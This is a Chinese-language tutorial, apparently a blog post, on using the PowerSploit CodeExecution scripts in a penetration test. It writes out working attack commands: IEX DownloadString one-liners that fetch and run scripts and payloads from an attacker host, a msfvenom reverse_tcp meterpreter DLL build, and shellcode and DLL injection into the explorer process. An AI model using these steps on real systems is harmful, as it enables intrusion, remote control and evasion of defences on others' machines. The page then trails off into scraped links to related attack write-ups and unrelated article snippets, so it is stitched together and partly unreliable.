PowerSploit-CodeExecution(代码执行)脚本渗透实战
首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
项目地址:https://github.com/PowerShellMafia/PowerSploit
该利器主要分为几个板块
一、代码执行(CodeExecution)
1. Invoke-DllInjection
2. Invoke-ReflectivePEInjection
3. Invoke-Shellcode
4. Invoke-WmiCommand
二、脚本修改(ScriptModification)
1. Out-EncodedCommand
2. Out-CompressedDll
3. Out-EncryptedScript
4. Remove-Comments
三、权限维持(Persistence)
1. New-UserPersistenceOption
2. New-ElevatedPersistenceOption
3. Add-Persistence
4. Install-SSP
5. Get-SecurityPackages
四、绕过杀毒软件(AntivirusBypass)
Find-AVSignature
五、信息收集(Exfiltration)
这个文件夹主要是收集目标主机上的信息。
六、信息侦察(Recon)
这个文件夹主要是以目标主机为跳板进行内网主机侦察。
总结下就是:
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
安装方法
我们在Linux下首先clone这个git:
git clone https://github.com/PowerShellMafia/PowerSploit.git
然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
开启apache服务:
service apache2 start
实战运用:
CodeExecution模块
a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。
1)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。
2) 调用目标机的powershell进行IEX远程下载invoke-shellcode脚本和生成的木马
首先下载脚本
PS C:\Documents and Settings\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
loit/CodeExecution/Invoke-Shellcode.ps1")
下载生成好的木马
PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")
3)kali设置msf监听
4)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。
PS C:\Users\Administrator> Invoke-Shellcode -Shellcode $buf -Force
b) 调用invoke-shellcode将shellcode注入到指定的进程中。
1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。
比如我要注入explorer这个进程(Windows程序管理器或者文件资源管理器) ,首先要查看该进程的pid
ps -Name explorer
可以看到id为1228 注入该进程
Invoke-Shellcode -Shellcode $buf -ProcessID -Force
注意:和a类似的,若关闭注入的进程,则连接中断。
c) 调用invoke-dllinjection将DLL注入到进程中。
1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport= -f dll -o /var/www/html/code.dll
开启监听 注意payload需要和生成的dll执行的payload一致;
PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
n/Invoke-DllInjection.ps1")
注入
PS C:\Users\Administrator> Invoke-DllInjection -Dll .\code.dll -ProcessID
PowerSploit-CodeExecution(代码执行)脚本渗透实战的更多相关文章
- POWERSPLOIT-Exfiltration(信息收集)脚本渗透实战
Exfiltration模块 a) 调用Get-Keystrokes记录用户的键盘输入. 1)通过IEX下载并调用Get-Keystrokes. PS C:\Users\Administrator&g ...
- POWERSPLOIT-Recon(信息侦察)脚本渗透实战
Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口. 1)通过IEX下载并调用invoke-portscan. PS C:\Users\Administrator& ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- PHP 命令行模式实战之cli+mysql 模拟队列批量发送邮件(在Linux环境下PHP 异步执行脚本发送事件通知消息实际案例)
源码地址:https://github.com/Tinywan/PHP_Experience 测试环境配置: 环境:Windows 7系统 .PHP7.0.Apache服务器 PHP框架:ThinkP ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 浏览器环境下JavaScript脚本加载与执行探析之代码执行顺序
本文主要基于向HTML页面引入JavaScript的几种方式,分析HTML中JavaScript脚本的执行顺序问题 1. 关于JavaScript脚本执行的阻塞性 JavaScript在浏览器中被解析 ...
- Linux centosVMware 自动化运维Ansible介绍、Ansible安装、远程执行命令、拷贝文件或者目录、远程执行脚本、管理任务计划、安装rpm包/管理服务、 playbook的使用、 playbook中的循环、 playbook中的条件判断、 playbook中的handlers、playbook实战-nginx安装、管理配置文件
一.Ansible介绍 不需要安装客户端,通过sshd去通信 基于模块工作,模块可以由任何语言开发 不仅支持命令行使用模块,也支持编写yaml格式的playbook,易于编写和阅读 安装十分简单,ce ...
- Ruby入门--Linux/Windows下的安装、代码开发及Rails实战
Ruby入门--Linux/Windows下的安装.代码开发及Rails实战 http://www.linuxidc.com/Linux/2014-04/100242.htm Ubuntu 13.04 ...
- DC-8靶机渗透实战
前言: 本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag. 0x00 环 ...
随机推荐
- android中的后退键——onBackPressed()的使用
转自:http://blog.sina.com.cn/s/blog_5085156c0101725e.html 很多网友不明白如何在Android平台上捕获Back键的事件,Back键是手机上的后退键 ...
- 内部类实例化Serializable
昨天在做一个java项目的时候,发现下面代码中红色字体那行总是报NotSerializableException,查错误,MyRectangle这个类也明明实现了Serializable接口. 花了大 ...
- Oracle创建自增主键表
1.创建表 /*第一步:创建表格*/ create table t_user( id int primary key, --主键,自增长 username varchar(), password va ...
- Linux环境基于CentOS7 搭建部署Docker容器
1.Docker容器概述 区分Docker容器技术和VM虚拟机技术: evernotecid://394EFE90-9CE0-4D65-A8CD-DFEC0DC8061E/appyinxiangcom ...
- 增删改查——PreparedStatement接口
1.添加 package pers.Pre.add; import java.sql.Connection; import java.sql.DriverManager; import java.sq ...
- ElasticSearch实战系列二: ElasticSearch的DSL语句使用教程---图文详解
前言 在上一篇中介绍了ElasticSearch集群和kinaba的安装教程,本篇文章就来讲解下 ElasticSearch的DSL语句使用. ElasticSearch DSL 介绍 Elastic ...
- [原创] 为Visio添加公式编辑器工具栏按钮
前言 作为理工科的学生,在写论文时,难免会在示意图中添加一些公式来说明研究内容.常用的画图工具就是 Visio .而常用的公式编辑器就是 Mathtype .对于 Word 这种软件,Mathtype ...
- 利用kubeadm快速部署 kubernetes 集群
结合一下两个教程 https://www.cnblogs.com/along21/p/10303495.html 链接:https://pan.baidu.com/s/1O_pcywfso4VFOsF ...
- ##发送post时,设置了utf-8,中文还是乱码?
发送post时,设置了utf-8,中文还是乱码? 我们用HttpUrlConnection或HttpClient发送了post请求,其中有中文,虽然我们两边都设置了utf-8,但还是乱码? 我们在re ...
- github认证登陆
使用github OAuth实现用户登录 做登录功能时,允许使用第三方网站的身份,这称为"第三方登录". 原理 github内的认证方法 在github上申请OAuth App,进 ...